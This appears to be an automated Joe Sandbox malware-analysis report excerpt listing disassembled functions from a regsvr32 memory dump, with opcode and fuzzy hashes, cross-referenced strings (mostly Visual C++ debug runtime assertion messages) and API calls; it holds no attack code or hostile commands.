Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UA;k
API String ID: 0-1243451539
Opcode ID: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction ID: 446a4ee04f98266578c7fdeec7750357e9914a8a062f983f2ae732e753f3f9f0
Opcode Fuzzy Hash: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction Fuzzy Hash: AC31E2B090034E8FCB48DF65C48A4DE7FB0FB68398F104619E859A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017638 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

BHj, xrefs: 0000000180017725

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: BHj
API String ID: 0-429444599
Opcode ID: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction ID: 88d82d5a62f7e83910e755dc00f06a4804c179e3d48da98a41081325a3075538
Opcode Fuzzy Hash: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction Fuzzy Hash: 2F31B2B190078E8FCF84DF64C88A5DE7BB0FB58358F010A09E869A6250D7B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078A4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180007961

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h
API String ID: 0-130632579
Opcode ID: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction ID: cf3c4ac770fe2f70a1efbbc55b0bf253fcb3f834dda7a796d3e0b8f6df5914ba
Opcode Fuzzy Hash: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction Fuzzy Hash: 803102705187C48BD789CFA8C48965EFBE1FB94384F50492DF486867A0C7F8D948CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800050D4 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?%4, xrefs: 00000001800050F0

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?%4
API String ID: 0-422666221
Opcode ID: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction ID: a7a624d76b7a6b6a49308da5d267df16e75217d08dbc55e4173753466c7a619f
Opcode Fuzzy Hash: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction Fuzzy Hash: 0721A470628780AB878CDF28D49981BBBE1FBC9304F906A1CF9C68B364D7749445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001870 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

ve, xrefs: 0000000180001922

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ve
API String ID: 0-2619166483
Opcode ID: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction ID: bd1518f744f48cc188204749d08526443734dde3f23549b257c943e1dafbc1e4
Opcode Fuzzy Hash: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction Fuzzy Hash: 3B217BB16187858BC748DF28C55951ABBE1FBCC318F404B5DF8CAAA360D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800026DC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Hk, xrefs: 000000018000270F

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hk
API String ID: 0-2736353058
Opcode ID: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction ID: 887fdeaeec6620913bccc1519bb94b7ab545cc472d3a2f82c737665b3ebe67cb
Opcode Fuzzy Hash: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction Fuzzy Hash: 20319CB4628384AB8388DF28C49981ABBF1FBC9304F806A1DF8868A260D775D445CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000529C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

@Bp!, xrefs: 00000001800052BA

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @Bp!
API String ID: 0-2853746471
Opcode ID: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction ID: a42def5e4906ba5408d95fb28ee36c9633a666dd8c6a1d0dabe2f17b10b73553
Opcode Fuzzy Hash: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction Fuzzy Hash: 8831F37080034E8BCB44DF64D48A4DE7FB0FB28398F11461AE869A6210D3B48694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006308 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

_&%, xrefs: 0000000180006314

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _&%
API String ID: 0-276555772
Opcode ID: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction ID: 84b034befa84842a6d26d9f5413634863003efd6eec9a48b68f2958c9e87747a
Opcode Fuzzy Hash: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction Fuzzy Hash: C3217BB06187848B8748DF28D45A51ABBE1FBCC308F404B5DF4CAAA360D3789609CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800295C8 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

V, xrefs: 00000001800295DC

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-2990084971
Opcode ID: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction ID: 19a784c3393b647e1d02845cf9d1e0035701b9012461bc7b4b972f754d4b287b
Opcode Fuzzy Hash: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction Fuzzy Hash: E021ADB4529780AFD788DF28D09981FBBF0FB89304F806A1CF9868B360E3759445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800229CC Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

fe_, xrefs: 0000000180022A54

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fe_
API String ID: 0-1346747655
Opcode ID: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction ID: 9f8913945123cb4278df7be958afc5fc5d749fa594805d3e5c5ffa2821aade6f
Opcode Fuzzy Hash: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction Fuzzy Hash: 25215DB55183818B9348EF28D44A51BBBE1BB8D34CF404B5DF4CEAA260D778D615CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022290 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction ID: f4bbdddc4ebc6fe898ddfb3184844cd7ab88b5746f894e32bccfd4327ba112cf
Opcode Fuzzy Hash: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction Fuzzy Hash: F751247152078DABDBC9DF28C8CAA9C3BA1FB44754F806219FC468A261D774D5C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008134 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction ID: d7e3191637b78f1be9ff87ab698ad538cd7d2d45c46478ba59590cd585685a95
Opcode Fuzzy Hash: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction Fuzzy Hash: 5761B1B490078E8FCF48DF68D8595DE7BB0FB48318F014A19FC6696250D7B49A25CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E2F4 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction ID: f17689cc06c9532d3252f7dc5abd3373f404a3f8166a5e21e79f0a6996b359c5
Opcode Fuzzy Hash: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction Fuzzy Hash: 0B41B870608B488FC768DF19D08976ABBF1FB89711F40856EE68AC7351DB319848CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800280C8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction ID: 9422144e28ecc4a9930a11d21f18f8515329dd70f686b1b52883d16e1825d5f7
Opcode Fuzzy Hash: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction Fuzzy Hash: 2A414D34509B588FD768DF28918A75ABBE0FF99310F004A5EE58EC7362D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006954 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction ID: bbd244a3cf3555809e115011e05a98a3e8d5fd40b217627e69400f11bfb30a94
Opcode Fuzzy Hash: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction Fuzzy Hash: 745193B590434ACFCF48CF64D48A5CE7FB0FB68398F214219E856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012500 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction ID: 8b5374169f69602128bd3032aff790cb1f354843cf4962b6e845d1f3af7287dc
Opcode Fuzzy Hash: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction Fuzzy Hash: 9741A0B180078E8BCB44CFA8D84A5DE7BF0FB18358F104A19F865A6250D3B89668CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022140 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction ID: c15f1aaae4e4e13c906589d5588e8395ab5dda45948680e718f465f07a8a5b6e
Opcode Fuzzy Hash: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction Fuzzy Hash: EC41C4B190038E8FDF48CF64C84A4DE7BB0FB58358F104619E86AA7250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020E40 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction ID: c896a4b3abc40741a1500648b31ed7fd3e584cfdc10005e9d212c87c64feccae
Opcode Fuzzy Hash: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction Fuzzy Hash: 2541C1B181035E8BDB48CFA8D48A5DE7FB0FB68398F204619E855A6214D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction ID: db142853bc0ceb5379a440845187b42230294cb0dc3411c083ed269e5703ce5c
Opcode Fuzzy Hash: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction Fuzzy Hash: E831AFB090034E8FCB48CF68C4865DE7FB0FB58398F114219E85AA6210D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800162BC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction ID: 032a8ed253072f6fd1b05e82d0325949fdf78283cb4c6b9cd1929990fdaa7975
Opcode Fuzzy Hash: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction Fuzzy Hash: F93195B050078A8BCF48DF68C85A5AE3BB1FB48308B404A2DFD269A350D7B49664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021444 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction ID: 9b1437c5de0cc84ebb9c914bb54d42d7cbbf0eefc466e3cb3beb54b329be6ed5
Opcode Fuzzy Hash: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction Fuzzy Hash: E631D5B190034E8FCF48DF68C48A4DE7FB1FB68398F100619E816A6250D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015F24 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction ID: e5161e45e20286f18a7c233b2d95f7c6d50d739ad8bc374cfda940a225cf7d0d
Opcode Fuzzy Hash: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction Fuzzy Hash: DD315C305187849BC3999B24C4C925EBEE1FB85399FA0682CF1C3C6264D774C98A8B06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A90 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction ID: e62117077ddfbae32c834d069a9ab80343e2b26cefae081dcf738b8df2b77597
Opcode Fuzzy Hash: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction Fuzzy Hash: B22148B56183848BD749DF28D44A41ABBE1FB9C74CF400B6DF4CAAB250D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A988 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction ID: 503aa3927fff6e4ad3ec536c6aa42fcab205a0bd32951b21a7cd1c91f46ab624
Opcode Fuzzy Hash: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction Fuzzy Hash: 3F2150B46187848BD748DF28C45641ABBE1FB9C358F804B2DF4CAA7350D7789A05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DEFC Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction ID: bec49874bf3906a1a9314e610e6330a75ea1af3aa415f07e7967bd5f7b72e726
Opcode Fuzzy Hash: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction Fuzzy Hash: 61215CB16187848BD748DF28D05941FBBE0BB8D358F405B2DF8CAA6351D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
Assertion failed: , xrefs: 000007FEF9D2FA09
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
Assertion failed!, xrefs: 000007FEF9D2FA1A
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
Pl, xrefs: 000007FEF9D2FD1B
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
, Line , xrefs: 000007FEF9D2F8A1
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
6o, xrefs: 000007FEF9D2FA85
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9
<file unknown>, xrefs: 000007FEF9D2F884

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction ID: 59d0ad1821d2987490fb14e41c4dc7dbbb96a2632b775096c591c8feb24f6032
Opcode Fuzzy Hash: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction Fuzzy Hash: DF321A3190CA8695EBB0CB18EC543EE73A0F784345FA04125D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

Module: , xrefs: 000007FEF9D2B84A
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
<program name unknown>, xrefs: 000007FEF9D2B4F2
..., xrefs: 000007FEF9D2B81F
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
File: , xrefs: 000007FEF9D2B79B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
Line: , xrefs: 000007FEF9D2B744
(*_errno()), xrefs: 000007FEF9D2B97F
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
Expression: , xrefs: 000007FEF9D2B6BE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
